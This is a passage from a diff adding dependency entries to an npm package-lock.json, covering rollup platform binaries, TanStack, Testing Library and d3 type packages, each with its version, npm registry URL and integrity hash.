"license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", + "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", + "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", + "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", + "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", + "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", + "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", + "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", + "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", + "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", + "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", + "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", + "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", + "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", + "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", + "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", + "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", + "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", + "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", + "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "license": "MIT" + }, + "node_modules/@standard-schema/utils": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz", + "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==", + "license": "MIT" + }, + "node_modules/@tanstack/query-core": { + "version": "5.90.20", + "resolved": "https://registry.npmjs.org/@tanstack/query-core/-/query-core-5.90.20.tgz", + "integrity": "sha512-OMD2HLpNouXEfZJWcKeVKUgQ5n+n3A2JFmBaScpNDUqSrQSjiveC7dKMe53uJUg1nDG16ttFPz2xfilz6i2uVg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + } + }, + "node_modules/@tanstack/react-query": { + "version": "5.90.21", + "resolved": "https://registry.npmjs.org/@tanstack/react-query/-/react-query-5.90.21.tgz", + "integrity": "sha512-0Lu6y5t+tvlTJMTO7oh5NSpJfpg/5D41LlThfepTixPYkJ0sE2Jj0m0f6yYqujBwIXlId87e234+MxG3D3g7kg==", + "license": "MIT", + "dependencies": { + "@tanstack/query-core": "5.90.20" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + }, + "peerDependencies": { + "react": "^18 || ^19" + } + }, + "node_modules/@tanstack/react-virtual": { + "version": "3.13.18", + "resolved": "https://registry.npmjs.org/@tanstack/react-virtual/-/react-virtual-3.13.18.tgz", + "integrity": "sha512-dZkhyfahpvlaV0rIKnvQiVoWPyURppl6w4m9IwMDpuIjcJ1sD9YGWrt0wISvgU7ewACXx2Ct46WPgI6qAD4v6A==", + "license": "MIT", + "dependencies": { + "@tanstack/virtual-core": "3.13.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/@tanstack/virtual-core": { + "version": "3.13.18", + "resolved": "https://registry.npmjs.org/@tanstack/virtual-core/-/virtual-core-3.13.18.tgz", + "integrity": "sha512-Mx86Hqu1k39icq2Zusq+Ey2J6dDWTjDvEv43PJtRCoEYTLyfaPnxIQ6iy7YAOK0NV/qOEmZQ/uCufrppZxTgcg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + } + }, + "node_modules/@testing-library/dom": { + "version": "10.4.1", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz", + "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.3.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "picocolors": "1.1.1", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@testing-library/jest-dom": { + "version": "6.9.1", + "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz", + "integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@adobe/css-tools": "^4.4.0", + "aria-query": "^5.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.6.3", + "picocolors": "^1.1.1", + "redent": "^3.0.0" + }, + "engines": { + "node": ">=14", + "npm": ">=6", + "yarn": ">=1" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz", + "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@testing-library/react": { + "version": "16.3.2", + "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz", + "integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.5" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@testing-library/dom": "^10.0.0", + "@types/react": "^18.0.0 || ^19.0.0", + "@types/react-dom": "^18.0.0 || ^19.0.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@testing-library/user-event": { + "version": "14.6.1", + "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz", + "integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12", + "npm": ">=6" + }, + "peerDependencies": { + "@testing-library/dom": ">=7.21.4" + } + }, + "node_modules/@tybys/wasm-util": { + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.3.tgz", + "integrity": "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@types/aria-query": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", + "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", + "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.2" + } + }, + "node_modules/@types/chai": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", + "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/deep-eql": "*", + "assertion-error": "^2.0.1" + } + }, + "node_modules/@types/d3": { + "version": "7.4.3", + "resolved": "https://registry.npmjs.org/@types/d3/-/d3-7.4.3.tgz", + "integrity": "sha512-lZXZ9ckh5R8uiFVt8ogUNf+pIrK4EsWrx2Np75WvF/eTpJ0FMHNhjXk8CKEx/+gpHbNQyJWehbFaTvqmHWB3ww==", + "license": "MIT", + "dependencies": { + "@types/d3-array": "*", + "@types/d3-axis": "*", + "@types/d3-brush": "*", + "@types/d3-chord": "*", + "@types/d3-color": "*", + "@types/d3-contour": "*", + "@types/d3-delaunay": "*", + "@types/d3-dispatch": "*", + "@types/d3-drag": "*", + "@types/d3-dsv": "*", + "@types/d3-ease": "*", + "@types/d3-fetch": "*", + "@types/d3-force": "*", + "@types/d3-format": "*", + "@types/d3-geo": "*", + "@types/d3-hierarchy": "*", + "@types/d3-interpolate": "*", + "@types/d3-path": "*", + "@types/d3-polygon": "*", + "@types/d3-quadtree": "*", + "@types/d3-random": "*", + "@types/d3-scale": "*", + "@types/d3-scale-chromatic": "*", + "@types/d3-selection": "*", + "@types/d3-shape": "*", + "@types/d3-time": "*", + "@types/d3-time-format": "*", + "@types/d3-timer": "*", + "@types/d3-transition": "*", + "@types/d3-zoom": "*" + } + }, + "node_modules/@types/d3-array": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", + "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==", + "license": "MIT" + }, + "node_modules/@types/d3-axis": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-axis/-/d3-axis-3.0.6.tgz", + "integrity": "sha512-pYeijfZuBd87T0hGn0FO1vQ/cgLk6E1ALJjfkC0oJ8cbwkZl3TpgS8bVBLZN+2jjGgg38epgxb2zmoGtSfvgMw==", + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-brush": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-brush/-/d3-brush-3.0.6.tgz", + "integrity": "sha512-nH60IZNNxEcrh6L1ZSMNA28rj27ut/2ZmI3r96Zd+1jrZD++zD3LsMIjWlvg4AYrHn/Pqz4CF3veCxGjtbqt7A==", + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-chord": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-chord/-/d3-chord-3.0.6.tgz", + "integrity": "sha512-LFYWWd8nwfwEmTZG9PfQxd17HbNPksHBiJHaKuY1XeqscXacsS2tyoo6OdRsjf+NQYeB6XrNL3a25E3gH69lcg==", + "license": "MIT" + }, + "node_modules/@types/d3-color": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", + "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", + "license": "MIT" + }, + "node_modules/@types/d3-contour": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-contour/-/d3-contour-3.0.6.tgz", + "integrity": "sha512-BjzLgXGnCWjUSYGfH1cpdo41/hgdWETu4YxpezoztawmqsvCeep+8QGfiY6YbDvfgHz/DkjeIkkZVJavB4a3rg==", + "license": "MIT", + "dependencies": { + "@types/d3-array": "*", + "@types/geojson": "*" + } + }, + "node_modules/@types/d3-delaunay": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-delaunay/-/d3-delaunay-6.0.4.tgz", + "integrity": "sha512-ZMaSKu4THYCU6sV64Lhg6qjf1orxBthaC161plr5KuPHo3CNm8DTHiLw/5Eq2b6TsNP0W0iJrUOFscY6Q450Hw==", + "license": "MIT" + }, + "node_modules/@types/d3-dispatch": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/@types/d3-dispatch/-/d3-dispatch-3.0.7.tgz", + "integrity": "sha512-5o9OIAdKkhN1QItV2oqaE5KMIiXAvDWBDPrD85e58Qlz1c1kI/J0NcqbEG88CoTwJrYe7ntUCVfeUl2UJKbWgA==", + "license": "MIT" + }, + "node_modules/@types/d3-drag": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/@types/d3-drag/-/d3-drag-3.0.7.tgz", + "integrity": "sha512-HE3jVKlzU9AaMazNufooRJ5ZpWmLIoc90A37WU2JMmeq28w1FQqCZswHZ3xR+SuxYftzHq6WU6KJHvqxKzTxxQ==", + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-dsv": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/@types/d3-dsv/-/d3-dsv-3.0.7.tgz", + "integrity": "sha512-n6QBF9/+XASqcKK6waudgL0pf/S5XHPPI8APyMLLUHd8NqouBGLsU8MgtO7NINGtPBtk9Kko/W4ea0oAspwh9g==", + "license": "MIT" + }, + "node_modules/@types/d3-ease": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", + "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", + "license": "MIT" + }, + "node_modules/@types/d3-fetch": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/@types/d3-fetch/-/d3-fetch-3.0.7.tgz", + "integrity": "sha512-fTAfNmxSb9SOWNB9IoG5c8Hg6R+AzUHDRlsXsDZsNp6sxAEOP0tkP3gKkNSO/qmHPoBFTxNrjDprVHDQDvo5aA==", + "license": "MIT", + "dependencies": { + "@types/d3-dsv": "*" + } + }, + "node_modules/@types/d3-force": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/@types/d3-force/-/d3-force-3.0.10.tgz", + "integrity": "sha512-ZYeSaCF3p73RdOKcjj+swRlZfnYpK1EbaDiYICEEp5Q6sUiqFaFQ9qgoshp5CzIyyb/yD09kD9o2zEltCexlgw==", + "license": "MIT" + }, + "node_modules/@types/d3-format": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-format/-/d3-format-3.0.4.tgz", + "integrity": "sha512-fALi2aI6shfg7vM5KiR1wNJnZ7r6UuggVqtDA+xiEdPZQwy/trcQaHnwShLuLdta2rTymCNpxYTiMZX/e09F4g==", + "license": "MIT" + }, + "node_modules/@types/d3-geo": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-geo/-/d3-geo-3.1.0.tgz", + "integrity": "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ==", + "license": "MIT", + "dependencies": { + "@types/geojson": "*" + } + }, + "node_modules/@types/d3-hierarchy": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/@types/d3-hierarchy/-/d3-hierarchy-3.1.7.tgz", + "integrity": "sha512-tJFtNoYBtRtkNysX1Xq4sxtjK8YgoWUNpIiUee0/jHGRwqvzYxkq0hGVbbOGSz+JgFxxRu4K8nb3YpG3CMARtg==", + "license": "MIT" + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", + "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", + "license": "MIT" + }, + "node_modules/@types/d3-polygon": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-polygon/-/d3-polygon-3.0.2.tgz", + "integrity": "sha512-ZuWOtMaHCkN9xoeEMr1ubW2nGWsp4nIql+OPQRstu4ypeZ+zk3YKqQT0CXVe/PYqrKpZAi+J9mTs05TKwjXSRA==", + "license": "MIT" + }, + "node_modules/@types/d3-quadtree": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-quadtree/-/d3-quadtree-3.0.6.tgz", + "integrity": "sha512-oUzyO1/Zm6rsxKRHA1vH0NEDG58HrT5icx/azi9MF1TWdtttWl0UIUsjEQBBh+SIkrpd21ZjEv7ptxWys1ncsg==", + "license": "MIT" + }, + "node_modules/@types/d3-random": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/d3-random/-/d3-random-3.0.3.tgz", + "integrity": "sha512-Imagg1vJ3y76Y2ea0871wpabqp613+8/r0mCLEBfdtqC7xMSfj9idOnmBYyMoULfHePJyxMAw3nWhJxzc+LFwQ==", + "license": "MIT" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", + "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", + "license": "MIT", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-scale-chromatic": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-scale-chromatic/-/d3-scale-chromatic-3.1.0.tgz", + "integrity": "sha512-iWMJgwkK7yTRmWqRB5plb1kadXyQ5Sj8V/zYlFGMUBbIPKQScw+Dku9cAAMgJG+z5GYDoMjWGLVOvjghDEFnKQ==", + "license": "MIT" + }, + "node_modules/@types/d3-selection": { + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/@types/d3-selection/-/d3-selection-3.0.11.tgz", + "integrity": "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w==", + "license": "MIT" + }, + "node_modules/@types/d3-shape": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.8.tgz", + "integrity": "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==", + "license": "MIT", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", + "integrity": 